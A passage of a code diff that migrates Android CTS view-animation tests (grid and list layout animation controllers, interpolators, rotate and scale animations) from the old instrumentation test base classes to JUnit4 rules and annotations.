 import android.view.animation.GridLayoutAnimationController;
-import android.view.animation.Transformation;
 import android.view.animation.GridLayoutAnimationController.AnimationParameters;
+import android.view.animation.Transformation;
+import android.view.cts.R;
 import android.widget.AbsListView;
 import android.widget.GridView;
 
-public class GridLayoutAnimationControllerTest
-    extends ActivityInstrumentationTestCase2<GridLayoutAnimCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    private GridLayoutAnimCtsActivity mActivity;
-    private Animation mDefaultAnimation;
-    private GridLayoutAnimationController mController;
-    /** The GridView will be 3*3 */
-    private GridView mGridView;
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class GridLayoutAnimationControllerTest {
     /** Default delay of GridLayoutAnimationController */
     private static final float DEFAULT_DELAY = 0.5f;
     /** Default max duration of running */
@@ -57,14 +60,19 @@
     private static final int INDEX_OF_CHILD8 = 7;
     private static final int INDEX_OF_CHILD9 = 8;
 
-    public GridLayoutAnimationControllerTest() {
-        super("android.view.cts", GridLayoutAnimCtsActivity.class);
-    }
+    private GridLayoutAnimCtsActivity mActivity;
+    private Animation mDefaultAnimation;
+    private GridLayoutAnimationController mController;
+    /** The GridView will be 3*3 */
+    private GridView mGridView;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
+    @Rule
+    public ActivityTestRule<GridLayoutAnimCtsActivity> mActivityRule =
+            new ActivityTestRule<>(GridLayoutAnimCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
         mDefaultAnimation = AnimationUtils.loadAnimation(mActivity,
                 R.anim.layout_anim_controller_animation);
         mController = new GridLayoutAnimationController(mDefaultAnimation, DEFAULT_DELAY,
@@ -72,6 +80,7 @@
         mGridView = mActivity.getGridView();
     }
 
+    @Test
     public void testConstructor() {
         XmlResourceParser parser = mActivity.getResources().getAnimation(
                 R.anim.accelerate_decelerate_alpha);
@@ -80,17 +89,18 @@
         GridLayoutAnimationController controller =
                 new GridLayoutAnimationController(mDefaultAnimation);
         // Default rowDelay and columnDelay is 0.5f
-        assertEquals(DEFAULT_DELAY, controller.getRowDelay());
-        assertEquals(DEFAULT_DELAY, controller.getColumnDelay());
+        assertEquals(DEFAULT_DELAY, controller.getRowDelay(), 0.0f);
+        assertEquals(DEFAULT_DELAY, controller.getColumnDelay(), 0.0f);
         new GridLayoutAnimationController(mDefaultAnimation, 0.5f, 0.5f);
     }
 
-    public void testAccessDelay() throws InterruptedException {
+    @Test
+    public void testAccessDelay() throws Throwable {
         float delay = 1.5f;
         long maxDuration = 13000;
         mController.setRowDelay(delay);
-        assertEquals(delay, mController.getRowDelay());
-        AnimationTestUtils.assertRunController(getInstrumentation(), mGridView, mController,
+        assertEquals(delay, mController.getRowDelay(), 0.0f);
+        AnimationTestUtils.assertRunController(mActivityRule, mGridView, mController,
                 maxDuration);
 
         Animation childAnimation1 = mGridView.getChildAt(INDEX_OF_CHILD1).getAnimation();
@@ -99,8 +109,8 @@
         assertChildrenDelay(childAnimation1, childAnimation4, childAnimation7);
 
         mController.setColumnDelay(delay);
-        assertEquals(delay, mController.getColumnDelay());
-        AnimationTestUtils.assertRunController(getInstrumentation(), mGridView, mController,
+        assertEquals(delay, mController.getColumnDelay(), 0.0f);
+        AnimationTestUtils.assertRunController(mActivityRule, mGridView, mController,
                 maxDuration);
 
         childAnimation1 = mGridView.getChildAt(INDEX_OF_CHILD1).getAnimation();
@@ -174,11 +184,12 @@
         assertTrue(alpha < 1.0f);
     }
 
-    public void testAccessDirection() throws InterruptedException {
+    @Test
+    public void testAccessDirection() throws Throwable {
         mController.setDirection(GridLayoutAnimationController.DIRECTION_BOTTOM_TO_TOP);
         assertEquals(GridLayoutAnimationController.DIRECTION_BOTTOM_TO_TOP,
                 mController.getDirection());
-        AnimationTestUtils.assertRunController(getInstrumentation(), mGridView, mController,
+        AnimationTestUtils.assertRunController(mActivityRule, mGridView, mController,
                 DEFAULT_MAX_DURATION);
 
         Animation childAnimation1 = mGridView.getChildAt(INDEX_OF_CHILD1).getAnimation();
@@ -225,7 +236,7 @@
         mController.setDirection(GridLayoutAnimationController.DIRECTION_TOP_TO_BOTTOM);
         assertEquals(GridLayoutAnimationController.DIRECTION_TOP_TO_BOTTOM,
                 mController.getDirection());
-        AnimationTestUtils.assertRunController(getInstrumentation(), mGridView, mController,
+        AnimationTestUtils.assertRunController(mActivityRule, mGridView, mController,
                 DEFAULT_MAX_DURATION);
 
         transformation1 = new Transformation();
@@ -266,6 +277,7 @@
         assertIsRunningAnimation(transformation3.getAlpha());
     }
 
+    @Test
     public void testGetDelayForView() throws Throwable {
         Animation animation = AnimationUtils.loadAnimation(mActivity, R.anim.decelerate_alpha);
         animation.setFillAfter(true);
@@ -299,21 +311,19 @@
         final View child7 = mGridView.getChildAt(INDEX_OF_CHILD7);
         final View child8 = mGridView.getChildAt(INDEX_OF_CHILD8);
         final View child9 = mGridView.getChildAt(INDEX_OF_CHILD9);
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                child1.setLayoutParams(layoutParams1);
-                child2.setLayoutParams(layoutParams2);
-                child3.setLayoutParams(layoutParams3);
-                child4.setLayoutParams(layoutParams4);
-                child5.setLayoutParams(layoutParams5);
-                child6.setLayoutParams(layoutParams6);
-                child7.setLayoutParams(layoutParams7);
-                child8.setLayoutParams(layoutParams8);
-                child9.setLayoutParams(layoutParams9);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            child1.setLayoutParams(layoutParams1);
+            child2.setLayoutParams(layoutParams2);
+            child3.setLayoutParams(layoutParams3);
+            child4.setLayoutParams(layoutParams4);
+            child5.setLayoutParams(layoutParams5);
+            child6.setLayoutParams(layoutParams6);
+            child7.setLayoutParams(layoutParams7);
+            child8.setLayoutParams(layoutParams8);
+            child9.setLayoutParams(layoutParams9);
         });
 
-        AnimationTestUtils.assertRunController(getInstrumentation(), mGridView, controller,
+        AnimationTestUtils.assertRunController(mActivityRule, mGridView, controller,
                 DEFAULT_MAX_DURATION);
 
         assertEquals(0, controller.getDelayForView(child1));
@@ -337,10 +347,11 @@
         return layoutParams;
     }
 
-    public void testAccessDirectionPriority() throws InterruptedException {
+    @Test
+    public void testAccessDirectionPriority() throws Throwable {
         // Before setting DirectionPriority, childAnimation7 will be later than childAnimation2,
         // and childAnimation8 will be later than childAnimation3
-        AnimationTestUtils.assertRunController(getInstrumentation(), mGridView, mController,
+        AnimationTestUtils.assertRunController(mActivityRule, mGridView, mController,
                 DEFAULT_MAX_DURATION);
         Animation childAnimation1 = mGridView.getChildAt(INDEX_OF_CHILD1).getAnimation();
         Animation childAnimation2 = mGridView.getChildAt(INDEX_OF_CHILD2).getAnimation();
@@ -373,7 +384,7 @@
         mController.setDirectionPriority(GridLayoutAnimationController.PRIORITY_COLUMN);
         assertEquals(GridLayoutAnimationController.PRIORITY_COLUMN,
                 mController.getDirectionPriority());
-        AnimationTestUtils.assertRunController(getInstrumentation(), mGridView, mController,
+        AnimationTestUtils.assertRunController(mActivityRule, mGridView, mController,
                 DEFAULT_MAX_DURATION);
         childAnimation1 = mGridView.getChildAt(INDEX_OF_CHILD1).getAnimation();
         childAnimation2 = mGridView.getChildAt(INDEX_OF_CHILD2).getAnimation();
@@ -401,6 +412,7 @@
         assertIsRunningAnimation(transformation2.getAlpha());
     }
 
+    @Test
     public void testWillOverlap() {
         GridLayoutAnimationController controller = new GridLayoutAnimationController(
                 mDefaultAnimation);
diff --git a/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationController_AnimationParametersTest.java b/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationController_AnimationParametersTest.java
index 5fa9217..c3be382 100644
--- a/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationController_AnimationParametersTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationController_AnimationParametersTest.java
@@ -17,12 +17,17 @@
 package android.view.animation.cts;
 
 
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.GridLayoutAnimationController;
-import android.view.animation.GridLayoutAnimationController.AnimationParameters;
 
-public class GridLayoutAnimationController_AnimationParametersTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class GridLayoutAnimationController_AnimationParametersTest {
+    @Test
     public void testConstructor() {
         new GridLayoutAnimationController.AnimationParameters();
     }
diff --git a/tests/tests/view/src/android/view/animation/cts/LayoutAnimationControllerTest.java b/tests/tests/view/src/android/view/animation/cts/LayoutAnimationControllerTest.java
index adc4192..90e7942 100644
--- a/tests/tests/view/src/android/view/animation/cts/LayoutAnimationControllerTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/LayoutAnimationControllerTest.java
@@ -16,13 +16,15 @@
 
 package android.view.animation.cts;
 
-import android.view.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
-
-import android.app.ListActivity;
-import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -31,21 +33,22 @@
 import android.view.animation.Animation;
 import android.view.animation.AnimationUtils;
 import android.view.animation.DecelerateInterpolator;
-import android.view.animation.Interpolator;
 import android.view.animation.LayoutAnimationController;
+import android.view.animation.LayoutAnimationController.AnimationParameters;
 import android.view.animation.ScaleAnimation;
 import android.view.animation.Transformation;
-import android.view.animation.LayoutAnimationController.AnimationParameters;
+import android.view.cts.R;
 import android.widget.AbsListView;
 import android.widget.ListView;
 
-public class LayoutAnimationControllerTest
-        extends ActivityInstrumentationTestCase2<LayoutAnimCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    private ListActivity mActivity;
-    private Animation mDefaultAnimation;
-    private ListView mListView;
-    private LayoutAnimationController mController;
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class LayoutAnimationControllerTest {
     /** Duration defined in layout_anim_controller_animation.xml is 1000 */
     private static final int DURATION = 1000;
     private static final float DELTA = 0.1f;
@@ -57,26 +60,30 @@
     /** Default max duration of these three children */
     private static final long DEFAULT_MAX_DURATION = 2000;
 
-    public LayoutAnimationControllerTest() {
-        super("android.view.cts", LayoutAnimCtsActivity.class);
-    }
+    private LayoutAnimCtsActivity mActivity;
+    private Animation mDefaultAnimation;
+    private ListView mListView;
+    private LayoutAnimationController mController;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
+    @Rule
+    public ActivityTestRule<LayoutAnimCtsActivity> mActivityRule =
+            new ActivityTestRule<>(LayoutAnimCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
         mListView = mActivity.getListView();
         mDefaultAnimation = AnimationUtils.loadAnimation(mActivity,
                 R.anim.layout_anim_controller_animation);
         mController = new LayoutAnimationController(mDefaultAnimation, DEFAULT_DELAY);
     }
 
-    public void testAccessOrder() throws InterruptedException {
-
+    @Test
+    public void testAccessOrder() throws Throwable {
         mController.setOrder(LayoutAnimationController.ORDER_NORMAL);
         assertEquals(LayoutAnimationController.ORDER_NORMAL, mController.getOrder());
 
-        AnimationTestUtils.assertRunController(getInstrumentation(), mListView, mController,
+        AnimationTestUtils.assertRunController(mActivityRule, mListView, mController,
                 DEFAULT_MAX_DURATION);
 
         Animation childAnimation1 = mListView.getChildAt(INDEX_OF_CHILD1).getAnimation();
@@ -120,7 +127,7 @@
         // Test reverse order
         mController.setOrder(LayoutAnimationController.ORDER_REVERSE);
         assertEquals(LayoutAnimationController.ORDER_REVERSE, mController.getOrder());
-        AnimationTestUtils.assertRunController(getInstrumentation(), mListView, mController,
+        AnimationTestUtils.assertRunController(mActivityRule, mListView, mController,
                 DEFAULT_MAX_DURATION);
 
         transformation1 = new Transformation();
@@ -159,13 +166,14 @@
         assertEquals(1.0f, transformation3.getAlpha(), DELTA);
     }
 
-    public void testAccessDelay() throws InterruptedException {
+    @Test
+    public void testAccessDelay() throws Throwable {
         mController.setOrder(LayoutAnimationController.ORDER_NORMAL);
         float delay = 1.5f;
         mController.setDelay(delay);
-        assertEquals(delay, mController.getDelay());
+        assertEquals(delay, mController.getDelay(), 0.0f);
         long maxDuration = (long) (delay * INDEX_OF_CHILD3 * DURATION + DURATION);
-        AnimationTestUtils.assertRunController(getInstrumentation(), mListView, mController,
+        AnimationTestUtils.assertRunController(mActivityRule, mListView, mController,
                 maxDuration);
 
         Animation childAnimation1 = mListView.getChildAt(INDEX_OF_CHILD1).getAnimation();
@@ -229,7 +237,8 @@
         assertTrue(alpha < 1.0f);
     }
 
-    public void testAccessAnimation() throws InterruptedException {
+    @Test
+    public void testAccessAnimation() throws Throwable {
         Animation animation = AnimationUtils.loadAnimation(mActivity, R.anim.decelerate_alpha);
         animation.setFillAfter(true);
         // duration defined in decelerate_alpha.xml is 2000
@@ -237,7 +246,7 @@
         mController.setAnimation(animation);
         assertSame(animation, mController.getAnimation());
         long maxDuration = (long) (DEFAULT_DELAY * INDEX_OF_CHILD3 * duration + duration);
-        AnimationTestUtils.assertRunController(getInstrumentation(), mListView, mController,
+        AnimationTestUtils.assertRunController(mActivityRule, mListView, mController,
                 maxDuration);
 
         Animation childAnimation1 = mListView.getChildAt(INDEX_OF_CHILD1).getAnimation();
@@ -251,7 +260,7 @@
         Animation actualAnimation = mController.getAnimation();
         assertEquals(DURATION, actualAnimation.getDuration());
         assertTrue(actualAnimation.getInterpolator() instanceof AccelerateInterpolator);
-        AnimationTestUtils.assertRunController(getInstrumentation(), mListView, mController,
+        AnimationTestUtils.assertRunController(mActivityRule, mListView, mController,
                 DEFAULT_MAX_DURATION);
 
         childAnimation1 = mListView.getChildAt(INDEX_OF_CHILD1).getAnimation();
@@ -300,11 +309,12 @@
         }
     }
 
-    public void testAccessInterpolator() throws InterruptedException {
+    @Test
+    public void testAccessInterpolator() throws Throwable {
         DecelerateInterpolator interpolator = new DecelerateInterpolator(1.0f);
         mController.setInterpolator(interpolator);
         assertSame(interpolator, mController.getInterpolator());
-        AnimationTestUtils.assertRunController(getInstrumentation(), mListView, mController,
+        AnimationTestUtils.assertRunController(mActivityRule, mListView, mController,
                 DEFAULT_MAX_DURATION);
 
         Animation childAnimation1 = mListView.getChildAt(INDEX_OF_CHILD1).getAnimation();
@@ -317,7 +327,7 @@
 
         mController.setInterpolator(mActivity, android.R.anim.accelerate_interpolator);
         assertTrue(mController.getInterpolator() instanceof AccelerateInterpolator);
-        AnimationTestUtils.assertRunController(getInstrumentation(), mListView, mController,
+        AnimationTestUtils.assertRunController(mActivityRule, mListView, mController,
                 DEFAULT_MAX_DURATION);
 
         childAnimation1 = mListView.getChildAt(INDEX_OF_CHILD1).getAnimation();
@@ -329,6 +339,7 @@
         assertTrue(delta2 > delta1);
     }
 
+    @Test
     public void testConstructor() {
         XmlResourceParser parser = mActivity.getResources().getAnimation(
                 R.anim.accelerate_decelerate_alpha);
@@ -336,9 +347,10 @@
         new LayoutAnimationController(mActivity, attrs);
         new LayoutAnimationController(mDefaultAnimation, DEFAULT_DELAY);
         LayoutAnimationController controller = new LayoutAnimationController(mDefaultAnimation);
-        assertEquals(DEFAULT_DELAY, controller.getDelay());
+        assertEquals(DEFAULT_DELAY, controller.getDelay(), 0.0f);
     }
 
+    @Test
     public void testGetDelayForView() throws Throwable {
         Animation animation = AnimationUtils.loadAnimation(mActivity, R.anim.decelerate_alpha);
         animation.setFillAfter(true);
@@ -354,15 +366,13 @@
         final View child1 = mListView.getChildAt(INDEX_OF_CHILD1);
         final View child2 = mListView.getChildAt(INDEX_OF_CHILD2);
         final View child3 = mListView.getChildAt(INDEX_OF_CHILD3);
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                child1.setLayoutParams(layoutParams1);
-                child2.setLayoutParams(layoutParams2);
-                child3.setLayoutParams(layoutParams3);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            child1.setLayoutParams(layoutParams1);
+            child2.setLayoutParams(layoutParams2);
+            child3.setLayoutParams(layoutParams3);
         });
 
-        AnimationTestUtils.assertRunController(getInstrumentation(), mListView, controller,
+        AnimationTestUtils.assertRunController(mActivityRule, mListView, controller,
                 DEFAULT_MAX_DURATION);
 
         assertEquals(0, controller.getDelayForView(child1));
@@ -380,6 +390,7 @@
         return layoutParams;
     }
 
+    @Test
     public void testGetTransformedIndex() {
         Animation animation = AnimationUtils.loadAnimation(mActivity, R.anim.decelerate_alpha);
         animation.setFillAfter(true);
@@ -406,6 +417,7 @@
         assertEquals(0, controller.getTransformedIndex(animationParams));
     }
 
+    @Test
     public void testStart() {
         Animation animation = new ScaleAnimation(0.0f, 10.0f, 0.0f, 20.0f);
         animation.setStartTime(500);
@@ -417,17 +429,19 @@
         assertEquals(Animation.START_ON_FIRST_FRAME, controller.getAnimation().getStartTime());
     }
 
-    public void testIsDone() throws InterruptedException {
-        AnimationTestUtils.assertRunController(getInstrumentation(), mListView, mController,
+    @Test
+    public void testIsDone() throws Throwable {
+        AnimationTestUtils.assertRunController(mActivityRule, mListView, mController,
                 DEFAULT_MAX_DURATION);
         assertTrue(mController.isDone());
     }
 
-    public void testGetAnimationForView() throws InterruptedException {
+    @Test
+    public void testGetAnimationForView() throws Throwable {
         Animation animation = AnimationUtils.loadAnimation(mActivity, R.anim.decelerate_alpha);
         animation.setFillAfter(true);
         mController.setAnimation(animation);
-        AnimationTestUtils.assertRunController(getInstrumentation(), mListView, mController,
+        AnimationTestUtils.assertRunController(mActivityRule, mListView, mController,
                 DEFAULT_MAX_DURATION);
         Animation childAnimation1 = mListView.getChildAt(INDEX_OF_CHILD1).getAnimation();
         Animation childAnimation2 = mListView.getChildAt(INDEX_OF_CHILD2).getAnimation();
@@ -442,6 +456,7 @@
         assertEquals(2000, childAnimation3.getStartOffset());
     }
 
+    @Test
     public void testWillOverlap() {
         LayoutAnimationController controller = new LayoutAnimationController(mDefaultAnimation);
 
diff --git a/tests/tests/view/src/android/view/animation/cts/LayoutAnimationController_AnimationParametersTest.java b/tests/tests/view/src/android/view/animation/cts/LayoutAnimationController_AnimationParametersTest.java
index 21fd97b..57e050c 100644
--- a/tests/tests/view/src/android/view/animation/cts/LayoutAnimationController_AnimationParametersTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/LayoutAnimationController_AnimationParametersTest.java
@@ -16,12 +16,17 @@
 
 package android.view.animation.cts;
 
-
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.LayoutAnimationController;
 
-public class LayoutAnimationController_AnimationParametersTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LayoutAnimationController_AnimationParametersTest {
+    @Test
     public void testConstructor() {
         new LayoutAnimationController.AnimationParameters();
     }
diff --git a/tests/tests/view/src/android/view/animation/cts/LinearInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/LinearInterpolatorTest.java
index 23f8608..ddd1be4 100644
--- a/tests/tests/view/src/android/view/animation/cts/LinearInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/LinearInterpolatorTest.java
@@ -16,8 +16,16 @@
 
 package android.view.animation.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import android.app.Activity;
-import android.test.ActivityInstrumentationTestCase2;
+import android.app.Instrumentation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.animation.AlphaAnimation;
 import android.view.animation.Animation;
@@ -25,37 +33,45 @@
 import android.view.animation.Interpolator;
 import android.view.animation.LinearInterpolator;
 import android.view.animation.Transformation;
-
 import android.view.cts.R;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link LinearInterpolator}.
  */
-public class LinearInterpolatorTest extends ActivityInstrumentationTestCase2<AnimationTestCtsActivity> {
-
-    private Activity mActivity;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class LinearInterpolatorTest {
     private static final float ALPHA_DELTA = 0.001f;
 
     /** It is defined in R.anim.alpha */
     private static final long LINEAR_ALPHA_DURATION = 500;
     private static final long LINEAR_ALPHA_TIME_STEP = LINEAR_ALPHA_DURATION / 5;
 
-    public LinearInterpolatorTest() {
-        super("android.view.cts", AnimationTestCtsActivity.class);
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+
+    @Rule
+    public ActivityTestRule<AnimationTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationTestCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructor() {
         new LinearInterpolator();
         new LinearInterpolator(mActivity, null);
     }
 
+    @Test
     public void testGetInterpolation() {
         LinearInterpolator interpolator = new LinearInterpolator();
         final float delta1 = interpolator.getInterpolation(0.1f)
@@ -68,7 +84,8 @@
         assertEquals(delta2, delta3, ALPHA_DELTA);
     }
 
-    public void testLinearInterpolator() {
+    @Test
+    public void testLinearInterpolator() throws Throwable {
         final View animWindow = mActivity.findViewById(R.id.anim_window);
         final Animation anim = AnimationUtils.loadAnimation(mActivity, R.anim.alpha);
         assertEquals(LINEAR_ALPHA_DURATION, anim.getDuration());
@@ -78,7 +95,7 @@
         anim.setInterpolator(interpolator);
         assertFalse(anim.hasStarted());
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, anim);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow, anim);
 
         Transformation transformation = new Transformation();
         final long startTime = anim.getStartTime();
diff --git a/tests/tests/view/src/android/view/animation/cts/RotateAnimationTest.java b/tests/tests/view/src/android/view/animation/cts/RotateAnimationTest.java
index afeba5c..e7961d5 100644
--- a/tests/tests/view/src/android/view/animation/cts/RotateAnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/RotateAnimationTest.java
@@ -16,10 +16,19 @@
 
 package android.view.animation.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
 import android.graphics.Matrix;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -27,32 +36,36 @@
 import android.view.animation.LinearInterpolator;
 import android.view.animation.RotateAnimation;
 import android.view.animation.Transformation;
-
 import android.view.cts.R;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class RotateAnimationTest
-        extends ActivityInstrumentationTestCase2<AnimationTestCtsActivity> {
-
-    private Activity mActivity;
-
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class RotateAnimationTest {
     private static final long DURATION = 1000;
     private static final float ROTATE_DELTA = 0.001f;
     private static final float FROM_DEGREE = 0.0f;
     private static final float TO_DEGREE = 90.0f;
 
-    public RotateAnimationTest() {
-        super("android.view.cts", AnimationTestCtsActivity.class);
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+
+    @Rule
+    public ActivityTestRule<AnimationTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationTestCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructors() {
-
         // Test with null AttributeSet
         new RotateAnimation(mActivity, null);
 
@@ -79,7 +92,8 @@
         new RotateAnimation(-0.6f, -0.6f, Animation.ABSOLUTE, -0.6f, Animation.ABSOLUTE, -0.6f);
     }
 
-    public void testRotateAgainstOrigin(){
+    @Test
+    public void testRotateAgainstOrigin() throws Throwable {
         final View animWindowParent = mActivity.findViewById(R.id.anim_window_parent);
         final View animWindow = mActivity.findViewById(R.id.anim_window);
         Transformation transformation = new Transformation();
@@ -93,7 +107,8 @@
                 animWindowParent.getWidth(), animWindowParent.getHeight());
         assertTrue(rotateAnimation.isInitialized());
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, rotateAnimation);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow,
+                rotateAnimation);
         final long startTime = rotateAnimation.getStartTime();
 
         Matrix expectedMatrix = new Matrix();
@@ -130,7 +145,8 @@
         }
     }
 
-    public void testRotateAgainstPoint(){
+    @Test
+    public void testRotateAgainstPoint() throws Throwable {
         final View animWindowParent = mActivity.findViewById(R.id.anim_window_parent);
         final View animWindow = mActivity.findViewById(R.id.anim_window);
         Transformation transformation = new Transformation();
@@ -149,7 +165,8 @@
                 animWindowParent.getWidth(), animWindowParent.getHeight());
         assertTrue(rotateAnimation.isInitialized());
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, rotateAnimation);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow,
+                rotateAnimation);
         final long startTime = rotateAnimation.getStartTime();
 
         Matrix expectedMatrix = new Matrix();
diff --git a/tests/tests/view/src/android/view/animation/cts/ScaleAnimationTest.java b/tests/tests/view/src/android/view/animation/cts/ScaleAnimationTest.java
index dc78fa9..c14d151 100644
--- a/tests/tests/view/src/android/view/animation/cts/ScaleAnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/ScaleAnimationTest.java
@@ -16,21 +16,34 @@
 
 package android.view.animation.cts;
 
-import android.view.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
-
+import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
 import android.graphics.Matrix;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
 import android.view.animation.Animation;
 import android.view.animation.ScaleAnimation;
 import android.view.animation.Transformation;
+import android.view.cts.R;
 
-public class ScaleAnimationTest
-        extends ActivityInstrumentationTestCase2<AnimationTestCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ScaleAnimationTest {
     private static long DURATION = 1000;
     private static float DELTA = 0.001f;
     private static float FROM_X = 1.0f;
@@ -41,18 +54,21 @@
     private static float PIVOT_Y = 0.6f;
     private static float MID_X = 0.8f;
     private static float MID_Y = 3.3f;
-    private AnimationTestCtsActivity mActivity;
 
-    public ScaleAnimationTest() {
-        super("android.view.cts", AnimationTestCtsActivity.class);
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+
+    @Rule
+    public ActivityTestRule<AnimationTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationTestCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructors() {
         final XmlResourceParser parser = mActivity.getResources().getAnimation(
                 R.anim.anim_scale);
@@ -68,6 +84,7 @@
         new ScaleAnimation(FROM_X, TO_X, FROM_Y, TO_Y, PIVOT_X, PIVOT_Y);
     }
 
+    @Test
     public void testApplyTransformation() {
         final Transformation transformation = new Transformation();
         transformation.setTransformationType(Transformation.TYPE_MATRIX);
@@ -102,7 +119,8 @@
         assertTrue(Math.abs(trans2Y) < Math.abs(trans3Y));
     }
 
-    public void testApplyTransformationIndirectly() {
+    @Test
+    public void testApplyTransformationIndirectly() throws Throwable {
         final View animWindow = mActivity.findViewById(R.id.anim_window);
         final Transformation transformation = new Transformation();
         transformation.setTransformationType(Transformation.TYPE_MATRIX);
@@ -111,7 +129,8 @@
                 PIVOT_X, PIVOT_Y);
         scaleAnimation.setDuration(DURATION);
         scaleAnimation.initialize(50, 50, 100, 100);
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, scaleAnimation);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow,
+                scaleAnimation);
 
         float values[] = new float[9];
         long startTime = scaleAnimation.getStartTime();
diff --git a/tests/tests/view/src/android/view/animation/cts/TransformationTest.java b/tests/tests/view/src/android/view/animation/cts/TransformationTest.java
index 7fe8c36..0c9e45f 100644
--- a/tests/tests/view/src/android/view/animation/cts/TransformationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/TransformationTest.java
@@ -16,16 +16,30 @@
 
